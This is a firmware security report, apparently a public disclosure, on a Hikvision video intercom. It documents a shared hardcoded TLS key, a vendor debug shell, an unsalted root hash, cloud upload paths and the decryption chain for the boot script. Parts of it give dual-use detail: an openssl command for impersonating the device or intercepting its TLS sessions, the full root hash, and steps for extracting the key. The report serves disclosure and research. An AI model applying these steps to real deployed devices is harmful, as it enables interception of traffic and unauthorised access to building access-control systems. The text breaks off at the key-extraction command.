View on GitHub

Hikvision Intercom RE

Deep-dive into a Hikvision intercom system.

Security Analysis Report

Hikvision DS-KV6113-WPE1(C) IP Video Intercom — Firmware Reverse Engineering

Field Value
Target Device Hikvision DS-KV6113-WPE1(C)
Firmware Source Chip-off flash read — MX25L25645G (256Mbit / 32MB NOR Flash)
Classification Security Research / Public Disclosure

Legal Notice: This report is produced for security research and responsible disclosure purposes only. All testing was performed on hardware owned by the researcher. The findings are disclosed to enable remediation and to inform the public of risks associated with this device. Reproduction or redistribution for purposes other than security improvement requires written permission.

Table of Contents

  1. Executive Summary
  2. Target Overview
  3. Methodology
  4. Firmware Structure
  5. Findings Summary
  6. Detailed Findings
  7. Software Bill of Materials
  8. CVE Cross-Reference
  9. Attack Surface Map
  10. Recommendations
  11. Responsible Disclosure
  12. Appendix A — Partition Table
  13. Appendix B — Filesystem Tree
  14. Appendix C — Certificate Details
  15. Appendix D — Raw Strings of Interest
  16. Appendix E — EMBA Analysis Statistics
  17. Appendix F — Disclosure Timeline

1. Executive Summary

The Hikvision DS-KV6113-WPE1(C) is an IP video door station widely deployed in residential and commercial buildings. This security audit was performed on a physical unit via chip-off flash extraction, static binary analysis, and automated firmware analysis using EMBA.

Two-unit caveat: Findings F-01 through F-25 were derived from static analysis of a single chip-off’d unit (firmware V2.1.5, Linux 3.18.20, Hi3516CV300-class boot stack). Live physical/UART testing (Section 2.1) was subsequently performed on a second, newer unit of the same model (firmware V2.2.65, Linux 4.19.91, dated 2025-03-26) to validate findings against real hardware. The two units differ substantially at the bootloader and kernel level — see Section 2.1 for a full comparison and which findings require re-verification as a result.

The overall security posture of this device is critically poor. Analysis identified a combination of intentional backdoors, hardcoded cryptographic material embedded in the firmware, cloud telemetry endpoints compiled into the main application binary, a software stack relying heavily on severely outdated and largely end-of-life components, and significant binary hardening deficiencies — particularly absent RELRO (93% of binaries) and stack canaries (84% of binaries).

By the numbers: EMBA identified 4,000 CVEs across the firmware components — 47 Critical and 715 High severity — with 105 public exploits available including 12 Metasploit modules and 8 remotely exploitable vulnerabilities. A further 4,380 CWE-classified code quality issues were identified across 11 core binaries, and 8,212 potential vulnerabilities were flagged by Ghidra/semgrep static analysis.

The most severe findings are:

These findings are consistent with, and significantly extend, previously published research on Hikvision firmware. The device should not be deployed in any environment with security or privacy requirements until Hikvision issues a comprehensively remediated firmware version.

2. Target Overview

Property Detail
Model DS-KV6113-WPE1(C)
Type IP Video Door Station (PoE)
Processor HK-2019-A16B TRXM7500 (Hikvision custom SoC, Hi3516CV300 core)
Flash IC Macronix MX25L25645G — 256Mbit (32MB) SPI NOR Flash
OS Linux 3.18.20 (ARM, uClibc 0.9.33.2)
Firmware Extracted via chip-off read
Connectivity RJ45 (PoE), Wi-Fi (Realtek 8188EU/FU), SIP
Total Files 1,195 files, 1,798 directories
Entropy 7.19 bits/byte

2.1 Hardware/Firmware Revision Note — Chip-Off Unit vs. Live UART Unit

All findings in Sections 5–6 (F-01–F-25) were derived from static analysis of the chip-off’d flash image described above. A second physical unit of the same model (DS-KV6113-WPE1(C)) was subsequently wired for live UART access to validate findings dynamically. Captured boot log: boot_uart_115.2k.txt (115200 8N1, full cold-boot capture).

This second unit turned out to be a materially newer hardware/firmware revision, not merely a later patch level:

Property Chip-off unit (static analysis) Live UART unit (dynamic testing)
Firmware version V2.1.5 V2.2.65
Kernel Linux 3.18.20 Linux 4.19.91
BusyBox (rootfs) — v1.31.1 (2023-12-07)
Bootloader U-Boot (HiSilicon-style, verify=n) NVT proprietary first-stage loader → U-Boot 2019.04-svn647255 (Dec 07 2023, jenkins-AVI-CCI-Pipeline-16690)
Secure boot Disabled (verify=n, F-22) [OTP secure]: Write (Lock), [Start Mode]: Secure — signature verification of both uImage and ramdisk.gz PASSED at boot
psh build svn?, Mar 14 2020 svn358439, Aug 27 2021
PCB / CPLD — (not decoded) PCB DS-17116, CPLD ver 2-0-0, board_attr 1-0-0
Production date Unknown 2025-03-26 (prodDate FY0805639)
MAC prefix — a4:d5:c2:4e:71:f3

Why this matters for this report:

Front view of DS-KV6113-WPE1(C)

PCB Overview

The device uses two PCBs connected via a mezzanine connector. The primary PCB carries the SoC, flash, and Ethernet/PoE hardware. The secondary PCB holds external connectors and voltage regulation.

MX25L25645G flash chip on PCB

The flash IC is directly accessible on the PCB surface, making chip-off extraction straightforward with standard SPI flash programmer equipment.

Hardware Map (from Device Tree Blobs)

The firmware image embeds 11 Device Tree Blob (DTB) files for distinct hardware variants, all sharing the same application binary. All variants are built on the Hi3516CV300 SoC. The decompiled DTS files reveal the confirmed peripheral map:

Hi3516CV300 SoC — confirmed peripherals:

Peripheral Base Address Status in Target
UART0 (ttyS0) 0x12100000 Active — U-Boot console, Linux console
UART1 (ttyS1) 0x12101000 Disabled on outdoor panels; active on indoor stations
UART2 (ttyS2) 0x12102000 Disabled (reference board only)
I2C bus 0 0x12110000 Active
I2C bus 1 0x12112000 Active
SPI bus 0 0x12120000 Active — SPI NOR flash
SPI bus 1 0x12121000 Active — additional peripheral
PWM controller 0x12130000 Active — IR illumination LED
P-Iris motor control 0x12140000 Active — motorized camera iris
Watchdog 0x12080000 Active
RTC 0x12090000 Active
IR receiver 0x120f0000 Active
Video/ISP pipeline 0x11200000–0x11270000 Active — VICAP, ISP, VPSS, VEDU, JPEGE
Interrupt controller (VIC) 0x10040000 Active

Physical buttons (GPIO keys, confirmed in device DTB):

Button GPIO Linux Keycode Purpose
Doorbell GPIO7[0], active-low BTN_0 (0x05) Visitor call trigger
Soft reset GPIO7[1], active-low KEY_F1 (0x3b) Factory reset

The soft reset button on GPIO7[1] is physically accessible on the installed device from outside the enclosure on some mounting configurations. Pressing and holding it triggers a factory reset, clearing device credentials and re-enabling default credentials — a physical attack path independent of F-22.

Multi-model firmware scope:

The 11 DTB variants cover two distinct device classes sharing this firmware image:

DTB range Device class UART config GPIO keys Factory description
DS17040–17048 Outdoor panels (DS-KV series) UART0 only active Doorbell + soft_rst Villa/apartment door stations
DS17052–17079 Indoor stations (DS-KH/KD series) UART0 + UART1 active None Indoor monitors, call modules
DS17082 Indoor station (variant) UART0 only None —
DS17052 Metal villa panel (overseas) UART0 + UART1 None 国外金属款别墅门口机
DS17063 Plastic villa panel UART0 + UART1 None 塑料款别墅门口机
DS17077 Explosion-proof panel UART0 + UART1 None 海外防爆门铃机

All 11 variants run identical application code — all vulnerabilities in this report apply across the entire product family covered by this firmware image.

Web interface feature scope:

The webs.tar.gz (394 files) contains an Angular.js SPA with 67 feature bundles revealing the intended deployment scope beyond basic intercom:

Bundle Capability
humanFace.bundle.js Face recognition enrollment and management
bluetooth.bundle.js Bluetooth mobile credential integration
wifiProbe.bundle.js Wi-Fi presence detection
temperature.bundle.js Environmental temperature monitoring
consumeRecord.bundle.js Cafeteria/canteen payment record
consumptionCfg.bundle.js Consumption payment system configuration
patientInfo.bundle.js Healthcare patient information
vehicle.bundle.js License plate recognition and vehicle access
netPacket.bundle.js Packet capture configuration (ties to /ISAPI/VCS/wireshark/export — F-23)
infoDistribution.bundle.js Building-wide information broadcast
channelIOT.bundle.js IoT device channel management

The breadth of deployment contexts (healthcare, finance, vehicle access, smart building) amplifies the impact of the vulnerabilities documented in this report — the same firmware is used in security-sensitive environments across multiple sectors.

3. Methodology

3.1 Scope

In Scope:

Out of Scope:

Limitations:

3.2 Flash Extraction

The MX25L25645G NOR Flash IC was de-soldered from the PCB and read using a flash programmer. The full 32MB image was saved as MX25L25645G@SOIC8.BIN.

3.3 Firmware Parsing

binwalk3 was used to identify and extract firmware partitions:

$ binwalk3 MX25L25645G@SOIC8.BIN

DECIMAL      HEX         DESCRIPTION
-----------  ----------  -------------------------------------------
184788       0x2D1D4     CRC32 polynomial table, little endian
394296       0x60438     JFFS2 filesystem (9 nodes, 195540 bytes)
656096       0xA02E0     JFFS2 filesystem (376 nodes, 1286000 bytes)
1966080      0x1E0000    CramFS filesystem (39 files, 25845760 bytes)

3.4 Automated Analysis — EMBA

The full firmware image was run through EMBA (Embedded Linux Analyzer). EMBA performed:

3.5 Manual Static Analysis Tools

Tool Purpose
binwalk3 Partition extraction
debugfs Ramdisk (ext2) exploration
strings Plaintext extraction
openssl Certificate / key decoding
EMBA Automated firmware analysis suite
python3 Key material decoding / decryption
arm-none-eabi-objdump ARM binary disassembly (digicapkeyArm.ko, psh)
pycryptodome 3DES-ECB decryption of start.sh

4. Firmware Structure

4.1 Partition Map

Offset Size Type Contents
0x00000 ~180 KB Raw U-Boot bootloader
0x60438 195,540 B JFFS2 dev.bin device config
0xA02E0 1,286,000 B JFFS2 Backup config, serverkey.pem/servercert.pem
0x1E0000 25,845,760 B CramFS Main system — serverkey.pem/servercert.pem, hicore, start.sh (encrypted)

Note: The shared TLS private key appears in two separate partitions — both the backup JFFS2 and the CramFS. This was confirmed by EMBA’s STACS scan which located the key at four distinct paths. Reflashing one partition would not eliminate it.

4.2 U-Boot Boot Arguments

The following was recovered from the U-Boot region:

console=ttyS0,115200
default=cramfsload 0x80400000 uImage
cramfsload 0x80800000 ramdisk.gz

A UART debug console is available at 115200 baud on ttyS0. Physical access to test points on the PCB would allow an interactive root shell without any authentication.

4.3 CramFS Contents

1E0000/
├── ASC16.bin / HZK16.bin          (font files)
├── audio.tar.lzma                  (audio prompts)
├── base.tar.lzma                   (base system libraries)
├── check_config / da_info          (config verifier, device info)
├── daemon_fsp_app                  (FSP daemon)
├── dec                             (decryption binary for start.sh)
├── devListCfgTemplate.xls
├── digicapkeyArm.ko                (Hikvision DRM kernel module)
├── DS170xx.dtb (×11)               (device tree blobs, 11 device variants)
├── gpl.tar.lzma
├── hi3516cv300-demb.dtb
├── lib.tar.lzma
├── Open_Source_Software_Licenses.txt
├── pppoed / sipServer / udhcpd
├── ramdisk.gz                      (Linux initrd — Ubuntu-based)
├── rtwpriv                         (Realtek Wi-Fi utility)
├── servercert.pem / serverkey.pem  (⚠ SHARED TLS KEY PAIR — also in JFFS2)
├── start.sh                        (⚠ ENCRYPTED boot script)
├── uImage                          (Linux 3.18.20 kernel)
├── visdoor.tar.lzma                (main application — hicore)
├── web4.0_help.tar.gz / webs.tar.gz
└── udhcpd.conf

4.4 Ramdisk Filesystem

/
├── bin/  (busybox, psh ← BACKDOOR, hik custom tools)
├── etc/
│   ├── dropbear/ (preset shared SSH host keys)
│   ├── inittab   (::respawn:-/bin/sh)
│   ├── init.d/rcS
│   ├── passwd    (hardcoded root hash)
│   └── shadow    (unsalted SHA-256)
└── sbin/ usr/

5. Findings Summary

ID Title Severity CVSS v3 Attack Vector Exploitability Status
F-01 Hardcoded TLS Private Key CRITICAL 9.8 Network Confirmed Open
F-02 Privilege Shell Backdoor (psh) HIGH 7.2 Network Confirmed Open
F-03 Unsalted Root Credentials Shared Across Firmware Units HIGH 8.1 Network Probable Open
F-04 Cloud Telemetry & Phone-Home HIGH 7.5 Network Probable Open
F-05 Hik-Connect Enrollment Routes Identity-Linked Event Images to Hikvision Cloud MEDIUM 4.1 Network Confirmed Open
F-06 Encrypted Boot Script MEDIUM 6.4 Physical Confirmed Open
F-07 Preset SSH Host Keys MEDIUM 6.5 Network Confirmed Open
F-08 Telnet Can Be Enabled MEDIUM 5.9 Network Probable Open
F-09 Hardcoded Internal IP Addresses MEDIUM 5.3 Network Confirmed Open
F-10 Hardcoded Chinese DNS Servers MEDIUM 5.3 Network Confirmed Open
F-11 Severely Outdated Software Stack CRITICAL 9.8 Network Confirmed Open
F-12 Kernel Privilege Escalation — Confirmed Exploits HIGH 8.8 Local Confirmed Open
F-13 Binary Memory Protection Failures HIGH 8.1 Network Probable Open
F-14 Pervasive Memory Safety Issues in Application Code HIGH 8.1 Network Probable Open
F-15 Weak File Permissions (395 instances) HIGH 7.1 Local Probable Open
F-16 da_info Hidden Command Surface: resetPasswd/resetParam Accessible via Direct Invocation HIGH 7.1 Local Confirmed Open
F-17 CVE-2021-36260: Command Injection via ISAPI configurationData Endpoint CRITICAL 9.8 Network Probable Open
F-18 sipServer SQL Injection via SIP REGISTER CRITICAL 9.1 Network Probable Open
F-19 ISAPI Serial Bus Passthrough (RS232/RS485) HIGH 8.1 Network Confirmed Open
F-20 Unauthenticated CPIU IPC Message Bus (daemon_fsp_app) HIGH 7.8 Local Confirmed (dynamic — SIGSEGV under QEMU) Open
F-21 BSP Encryption Layer Uses AES-128-ECB with Device-Bound Decryption Oracle MEDIUM 4.7 Local Confirmed (static) Open
F-22 U-Boot Secure Boot Not Enforced — UART Physical Bypass HIGH 7.6 Physical Confirmed Open
F-23 Cloud-Keyed Maintenance Bypass via secretkey ISAPI Parameter HIGH 7.4 Network Confirmed (static) Open

Aggregate EMBA Statistics:

Severity CVE Count With Public Exploits
Critical 47 1
High 715 55
Medium 1,417 40
Low 48 1
Total 4,000 105
Remote exploits: 8 Local exploits: 72 DoS exploits: 28 Metasploit modules: 12

6. Detailed Findings

F-01 — Hardcoded TLS Private Key

Field Value
Severity CRITICAL
CVSS v3 Score 9.8
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network
CWE CWE-321: Use of Hard-coded Cryptographic Key
Related CVEs —
Affected Versions All firmware versions (hardcoded — not version-specific)
Location 1E0000/serverkey.pem, 1E0000/servercert.pem; JFFS2/certs/serverkey.pem, JFFS2/certs/servercert.pem
Exploitability Extracted directly from firmware image
Remediation Status Open

Description

A 2048-bit RSA private key and self-signed X.509 certificate are stored in plaintext in two separate partitions of the firmware: the CramFS main system and the JFFS2 backup config partition. EMBA’s STACS credential scanner confirmed the key at four distinct paths, meaning reflashing one partition would not eliminate the exposure.

A single physical unit was analyzed. Whether other devices of this model ship with the same key pair is unknown — it would require comparing firmware images from multiple units or obtaining confirmation from Hikvision. If the firmware image is shipped identically across all devices, every unit would share the same private key for TLS communication.

Evidence

Subject:  C=CN, ST=ZJ, L=HZ, O=HIKVISION, OU=HZ, CN=hikvision.com
Issuer:   Self-signed
Valid:    2019-12-17 to 2037-12-31
Key:      RSA 2048-bit
Serial:   8a:b4:23:17:c6:2a:20:f1

Proof of Concept

# 1. Extract key from firmware image
binwalk3 -e MX25L25645G@SOIC8.BIN

# 2. Verify key is valid and readable
openssl rsa -in 1E0000/serverkey.pem -check -noout
# Output: RSA key ok

# 3. Verify certificate matches key
openssl x509 -in 1E0000/servercert.pem -text -noout

# 4. Use extracted key to impersonate any device or MITM TLS sessions
openssl s_server -key serverkey.pem -cert servercert.pem -port 443

Impact

References

F-02 — Privilege Shell Backdoor (psh)

Field Value
Severity HIGH
CVSS v3 Score 7.2
CVSS v3 Vector AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network / Physical (any shell-accessible channel; PR:H reflects possession of Hikvision’s RSA private key)
CWE CWE-798: Use of Hard-coded Credentials; CWE-912: Hidden Functionality
Related CVEs — (pattern consistent with prior Hikvision backdoor disclosures)
Affected Versions All firmware versions (hardcoded)
Location /bin/psh in ramdisk; invoked from /etc/profile
Exploitability Confirmed — binary and embedded RSA keys extracted from firmware
Remediation Status Open

Description

The binary /bin/psh is installed as the interactive shell wrapper for every authenticated session (/etc/profile calls it unconditionally). Static disassembly of the binary (arm-none-eabi-objdump) confirmed the following:

Binary metadata:

Shell restrictions (confirmed from code at 0x11014–0x11094):
The shell explicitly intercepts all typed input and rejects commands containing any of the following metacharacters before dispatching: >, <, |, &, ;, $, `. On detection the shell prints:

This hardened shell prevents an authenticated session from performing I/O redirection, piping, command chaining, or variable substitution.

Supported commands (confirmed from dispatch table at 0x110e0–0x111b0): | Command | Function | |—|—| | date | Display system date | | help | List available commands | | getDateInfo | Display firmware version and build date | | Debug | Enter privileged debug mode (RSA auth required) | | getHardInfo | Display hardware info (available in Debug mode) |

Challenge-response authentication (confirmed from code at 0x109f0–0x10b90):

  1. The shell reads the device MAC address from the eth0 interface via SIOCGIFHWADDR ioctl (socket created for this purpose; errors produce create socket failed! / MAC ioctl error!)
  2. A random number is generated and presented as: [PSWD][%04d]: <N>
  3. The user must supply a response; the response is verified via RSA public key operation using one of the four embedded 1024-bit keys
  4. On success: Enter Debug Mode.
  5. On failure: Incorrect Password. %d Times Left (5 attempts maximum, counter at struct+0x160)
  6. A separate Password: prompt exists in the code for an alternative direct password path

Four hardcoded 1024-bit RSA public keys are embedded in .rodata at file offsets 0x0bcd99–0x0bcfd2 (PKCS#1 DER, Base64-encoded). All four keys are 140 bytes DER (128-byte modulus = 1024-bit). The 1024-bit RSA key size falls below current NIST minimum recommendation (2048-bit) and is considered breakable with sufficient computational resources.

Evidence

Key 1 (file offset 0x0bcd99):
MIGJAoGBALyi9WXx8W1rFZttJtKcOwXrWWHyMyBKGtLCSA/ZpOFxewBrl
UPOXtXlqoQ2Lg8y2KxdghkfHP+rNhZG61VhyYx3jwnTxY9gCzOVXg6L665
nCuV5mszwbcscyv1Uo+uLOl+OH/5RXS0J3reWFLwidV5E63xhcpVaKhhmW
9xPXW8fAgMBAAE=

Key 2 (file offset 0x0bce56):
MIGJAoGBAOZwSLecBmsjYjEixnXdeYfDeZJ39mDk6CH/cduiKSYz9KHAT6
uqvWsYA5kT6JtWfitnl6fnPSd4/K9DYsVEMxs8esFElmV+HqVo8owInBkH
Aol++kbH4SPw4L+RxkOgZ5zQuVlrZ1l6Lr08+Uli6clxxG2f7WxH8bEtyU
RJqPLzAgMBAAE=

Key 3 (file offset 0x0bcf13):
MIGJAoGBAOZ/oBw5FGMQ1PLhZZUw3ckz1f4MtpeQhyMOeU5gwoBDiZzBdn
FTPubAq9CJ7/ynhP33S/fMWavGjCDXwVvVtw+PxpUwYvbQW7fOC5Hh0V/Q
oiGaiXR+gicQ4m2bXRQfM8bcZRZJuhBO5pX8SU4MYWMjJ+TWsyNA0DjwN7
wQDucTAgMBAAE=

Key 4 (file offset 0x0bcfd2):
MIGJAoGBAPc7aLp/0eSmRVJ+bakzbZMi90WPUN+yZGAo0ywwoZKxWP+Yly
G+5n7D8qJFryrGne/K+O1KUIlpRG4LNqP3nagb+8ONe0kk71l+Y1NhhRVs
UrNTOutAECFS5oZhLQCKDuYmft0iTgfFocouqqluFeF83RSlywZeLyXf8H0J
Q8YBAgMBAAE=

Proof of Concept

# psh challenge flow — confirmed from static disassembly:
# 1. Connect via SSH / Telnet / physical UART; psh launches automatically
# 2. User types "Debug" at the shell prompt
# 3. psh displays: Password:
# 4. psh reads eth0 MAC address (SIOCGIFHWADDR), generates random number,
#    presents challenge: [PSWD][NNNN]:  (NNNN = random integer)
# 5. Correct response requires RSA private key counterpart to one of the
#    four embedded public keys — held exclusively by Hikvision
# 6. On success: "Enter Debug Mode." — expanded command set available
# 7. On failure: "Incorrect Password. %d Times Left" (5 attempt limit)
#
# The challenge-response was not live-tested (device not available).
# All control-flow above is confirmed via ARM disassembly.
#
# Normal (non-Debug) commands available without authentication:
#   date, help, getDateInfo
# All shell metacharacters (>, <, |, &, ;, $, `) are blocked at input.

Live confirmation (see §2.1): A cold-boot UART capture from a second, newer physical unit (boot_uart_115.2k.txt) shows the console dropping straight into BusyBox v1.31.1 ... built-in shell (ash) and then into BusyBox v1.2.1 Protect Shell (psh svn358439) — with no login/getty prompt at any point. No username or password is requested to reach an interactive prompt over UART, matching this finding’s premise that /etc/profile invokes psh unconditionally. The shell immediately printed Random number is:252818968 followed by a bare # at boot (exact banner text differs slightly from the [PSWD][NNNN] format described above, and this build is svn358439/Aug 27 2021 vs. the statically-analyzed build of Mar 14 2020 — a different psh revision; whether this boot-time banner is the same subsystem as the interactive Debug challenge below, or a separate one, was not determined).

Interactive live testing (follow-up session, same unit): With the port free of contention, commands were sent one at a time over the live UART connection and responses captured.

Escape/bypass attempts against psh itself (all negative, tested live): The boot log shows a generic BusyBox ... built-in shell (ash) banner printing immediately before the psh banner, raising the possibility that psh is a child process of an underlying ash (spawned via fork, not exec) and that killing or EOF-ing psh might drop back to an unrestricted parent shell. This was tested directly and did not work:

Cryptanalysis of the embedded RSA keys (offline, against the older build’s binary — no device interaction): Since the RSA challenge cannot be answered without Hikvision’s private key, the four public keys recovered from the chip-off unit’s psh binary (re-extracted directly from file offset 0xbcd99, confirmed to match the previously-reported values) were checked for known classes of RSA key-generation weakness:

U-Boot autoboot interrupt testing on the live unit (see also F-22): The live unit’s boot log shows the same bootdelay=1 interrupt window as the chip-off unit (“Hit any key to stop autoboot: 1”). This was tested directly, and the results differ materially from the classic F-22 attack path:

Impact

The mechanism grants unrestricted root access to anyone who can reach SSH, Telnet, or the physical UART console and holds the correct private key. Because the private keys are not in the firmware (only the public keys are), ordinary attackers cannot directly exploit this without either obtaining the private keys from Hikvision or factoring the 1024-bit keys. The more immediate risk is that Hikvision itself retains a permanent authentication backdoor into every unit shipping this firmware image. This is not a bug — it is an intentional mechanism that persists across firmware updates.

The shell restrictions (>, <, |, etc.) reduce lateral movement risk for an attacker who gains the normal root shell (F-03), but provide no protection against the Debug path — which bypasses all restrictions once authenticated.

References

F-03 — Unsalted Root Credentials Shared Across Firmware Units

Field Value
Severity HIGH
CVSS v3 Score 8.1
CVSS v3 Vector AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector Network (hash publicly available from this report; cracked offline, used via SSH/Telnet)
CWE CWE-760: Use of a One-Way Hash without a Salt; CWE-1391: Use of Weak Credentials
Related CVEs —
Affected Versions All firmware versions
Location /etc/passwd, /etc/shadow in ramdisk
Exploitability Probable — hash publicly exposed from this firmware image; GPU-accelerated cracking feasible
Remediation Status Open

Description

The root account password is stored as an unsalted SHA-256 hash. Because no per-device salt is applied, every unit shipped with this firmware image carries an identical hash for the default root password. An attacker who extracts the hash from any single unit — as done in this analysis — can mount an offline cracking attack without rate limiting; if the plaintext is recovered, it works on every device running the same firmware that has not changed the default root password.

Authentication cannot be bypassed by presenting the hash directly — the plaintext password is required to authenticate over SSH, Telnet, or the physical console. The risk materializes only if the hash is cracked offline. EMBA’s John the Ripper module ran for 1 hour and did not recover the plaintext, indicating the password is not in common wordlists. The hash is now publicly known through this firmware extraction, so sustained offline cracking is no longer constrained to a single attacker.

/etc/shadow:
root:8c9a60a87ff34a9e6c70a986aa4a9e14b237fcd4126f77107298c8afd86248d3:15595:0:99999:7:::

Evidence

Field Value Notes
Hash 8c9a60a87ff34a9e6c70a986aa4a9e14b237fcd4126f77107298c8afd86248d3 Unsalted SHA-256, 64 hex chars
Salt None All units with this firmware share the same hash for the default password
Last changed Day 15595 2012-09-12 — unchanged for ~14 years
GECOS field 3CF6BC909643931B3DF04B77856DE416CF51BF6421AB8392985B2CF40C0020CC Anomalous — 64-char hex (likely device ID)
JTR result 0 passwords cracked after 1 hour Password not in common dictionaries

Impact

If the default root password is cracked, every device running this firmware that has not changed its root password becomes accessible. The unsalted hash means a single offline cracking effort scales to the entire deployed population of this firmware version — there is no per-device uniqueness that would require repeating the work per unit.

References

F-04 — Cloud Telemetry & Phone-Home Endpoints

Field Value
Severity HIGH
CVSS v3 Score 7.5
CVSS v3 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector Network (outbound — device-initiated)
CWE CWE-359: Exposure of Private Personal Information to an Unauthorized Actor
Related CVEs —
Affected Versions All firmware versions
Location hicore binary
Exploitability Probable — endpoints hardcoded in production binary; dynamic analysis not performed to confirm actual connections
Remediation Status Open

Description

The hicore application binary contains hardcoded references to multiple Hikvision-controlled cloud endpoints. These strings were identified through static analysis of the production binary:

Endpoint Purpose
log.hikvision.com Remote event logging
recordType.meta.hikvision.com Recording metadata
www.hikvision.com/RaCM/trackExt/ver10 Usage tracking extension
www.hikvision.com/racm/schedule/ver10 Remote schedule management

The trackExt (tracking extension) endpoint is particularly concerning. The RaCM (Remote and Cloud Management) namespace references both HikCloud and Ezviz (Hikvision’s consumer surveillance cloud). Strings for time synchronization from Ezviz servers and DDNS registration with Hikvision are also present.

Note: The analyzed device was an older model not confirmed to have established internet connectivity during testing. Whether these code paths are active in standard deployments of this model requires dynamic traffic analysis to confirm. These endpoints are nonetheless compiled into the production binary and represent a potential connectivity surface if network access is present.

A developer/test URL with obfuscated parameters was also found in production firmware, suggesting debug code was not removed before release:

http://10.19.132.120:6120/pic?=d61if98e*b8ai034-59562b--49a411810d50fi0b6*=ids1*=idp1*

Impact

If the cloud endpoints are active: device operational data would be transmitted to Hikvision infrastructure without user disclosure. The presence of these endpoints in production firmware — regardless of whether they are currently exercised — represents a privacy risk if the device is deployed in a network with internet access. Whether this constitutes a GDPR violation depends on whether the code paths are actually triggered in practice, which requires dynamic confirmation.

References

F-05 — Hik-Connect Enrollment Routes Identity-Linked Event Images to Hikvision Cloud

Field Value
Severity MEDIUM
CVSS v3 Score 4.1
CVSS v3 Vector AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N
Attack Vector Network (outbound — device-initiated after administrator enrollment)
CWE CWE-359: Exposure of Private Personal Information to an Unauthorized Actor
Related CVEs —
Affected Versions All firmware versions
Location hicore — accessControl/eventCtrl/event_upload.c, event_upload_proc at 0x001e3290
Exploitability Confirmed — full upload path disassembled; behavior is conditional on Hik-Connect enrollment
Remediation Status Open

Description

Static analysis of hicore confirms that when a building administrator enrolls the device with Hikvision’s Hik-Connect cloud platform, access control event images linked to enrolled occupant identities are transmitted to Hikvision’s cloud storage on every access event.

The upload path was fully disassembled at event_upload_proc (0x001e3290, source: accessControl/eventCtrl/event_upload.c). This function dispatches each access control event to up to six destinations based on a bitmask (alarm center, client, FTP, e-mail, SIP server, Ezviz/Hik-Connect). The Ezviz path is gated by check_ezviz_is_valid, which reads the bEnable column from the ezviz_info SQLite table:

"ezviz enable is not!!!"   ← logged when bEnable == 0; upload is skipped

By default bEnable = 0. The flag is set to 1 only when the administrator completes Hik-Connect device registration, which also writes an operationCode and ezvizPlatform identifier into the same table.

Upload payload (confirmed from disassembly):

Once Ezviz is enabled, event_upload_to_ezviz retrieves two fields from the event record before calling cstorAsyncUpload:

Field Source Content
pic_info.picPoolIdx Event snapshot buffer JPEG frame captured at the moment of the access event
pic_info.employeeNo Enrolled identity record The identifier of the person whose credential was presented

cstorAsyncUpload performs an S3-style presigned URL upload — the device first retrieves a time-limited upload URL from Hikvision’s cloud, then HTTP-PUTs the image to that URL. This is consistent with the Hik-Connect push notification feature, which delivers door-open alerts with photos to the administrator’s mobile app.

What is not uploaded (confirmed):

Impact

When Hik-Connect is active, a photograph taken at the moment of each access event, together with the enrolled occupant’s identity reference (employeeNo), is transmitted to Hikvision’s cloud infrastructure. Building occupants whose faces have been enrolled in the system are not notified of this upload. The data flows outside the deploying organisation’s control and is processed under Hikvision’s privacy policy, which is not under the control of the building administrator.

This constitutes processing of personal data (photographs linked to identified individuals) by a third party (Hikvision) on every access event, without a mechanism for the device to obtain or verify that occupant consent was collected. Whether the building’s own privacy notices and data processing agreements cover this vendor-side processing is a question for the deploying organisation, but the device provides no tooling to restrict, audit, or disable this transmission on a per-occupant basis once Hik-Connect is enrolled.

References

F-06 — Encrypted Boot Script

Field Value
Severity MEDIUM
CVSS v3 Score 6.4
CVSS v3 Vector AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H
Attack Vector Physical / Local
CWE CWE-656: Reliance on Security Through Obscurity; CWE-321: Use of Hard-coded Cryptographic Key
Related CVEs —
Affected Versions All firmware versions
Location 1E0000/start.sh (encrypted), /bin/dec, digicapkeyArm.ko
Exploitability Confirmed — Key extracted from digicapkeyArm.ko .rodata; start.sh fully decrypted
Remediation Status Open

Description

The start.sh boot script is stored 3DES-encrypted in CramFS and decrypted at runtime by the dec binary, which obtains its key via ioctl from the digicapkeyArm.ko kernel module. The full decryption chain was reversed as follows.

Step 1 — dec binary: Ghidra decompilation of main()

Ghidra decompilation of dec’s main() reveals the full decryption flow:

  1. Opens /dev/decryptkey — the character device exposed by digicapkeyArm.ko
  2. Calls ioctl(fd, 0xc01c4b42, &struct) where the struct is 28 bytes: a 4-byte magic token (0x786f8321) followed by a 24-byte output buffer (auStack_48)
  3. On success, passes auStack_48 directly to decrypt_sec(ciphertext, len, auStack_48) as the decryption key
  4. Strips PKCS#7 padding: the last byte of the encrypted file is the padding count; plaintext_len = ciphertext_len - padding
local_4c = 0x786f8321;                        // magic token — sent to kernel module as auth
ioctl(local_c, 0xc01c4b42, &local_4c);        // 28-byte struct: [4-byte magic | 24-byte key output]
// auStack_48 now contains the 24-byte decryption key
local_21 = last_byte(enc_buf);                // PKCS#7 padding byte
local_20 = (file_size - local_21) - 1;        // plaintext length after strip
decrypt_sec(enc_buf, file_size - 1, auStack_48);

The ioctl code 0xc01c4b42 decodes as _IOWR('K', 0x42, struct[28]) — a read/write ioctl of type 'K', number 66, transferring a 28-byte struct.

Step 2 — digicapkeyArm.ko disassembly: tracing the ioctl handler

digicapkeyArm.ko is not stripped and its symbols are intact, making disassembly straightforward with arm-none-eabi-objdump. The ioctl handler dk_fops_ioctl at .text offset 0x34 was traced instruction-by-instruction:

  1. Checks ioctl type byte = 0x4b ('K') and number byte = 0x42 — otherwise returns -ENOTSUP
  2. Copies 28 bytes from userspace into a kernel stack buffer (__copy_from_user)
  3. Compares bytes 0–3 against the hardcoded literal 0x786f8321 (visible at literal pool offset 0x148) — returns -EFAULT if they do not match. This is an auth gate, not a key derivation step.
  4. Loads digicap_key from .rodata verbatim using ARM ldm/stm block copy instructions — 16 bytes then 8 bytes — into the output half of the struct. No XOR, no derivation, no transformation.
  5. Copies the full 28-byte struct back to userspace (__copy_to_user)

The key material is stored in plaintext in the .rodata section of digicapkeyArm.ko. The only “protection” is the 0x786f8321 magic check — a value that is itself hardcoded and visible in the dec binary’s stack initialization (local_4c = 0x786f8321).

Step 3 — Key extraction from .rodata

arm-none-eabi-objdump -s -j .rodata digicapkeyArm.ko

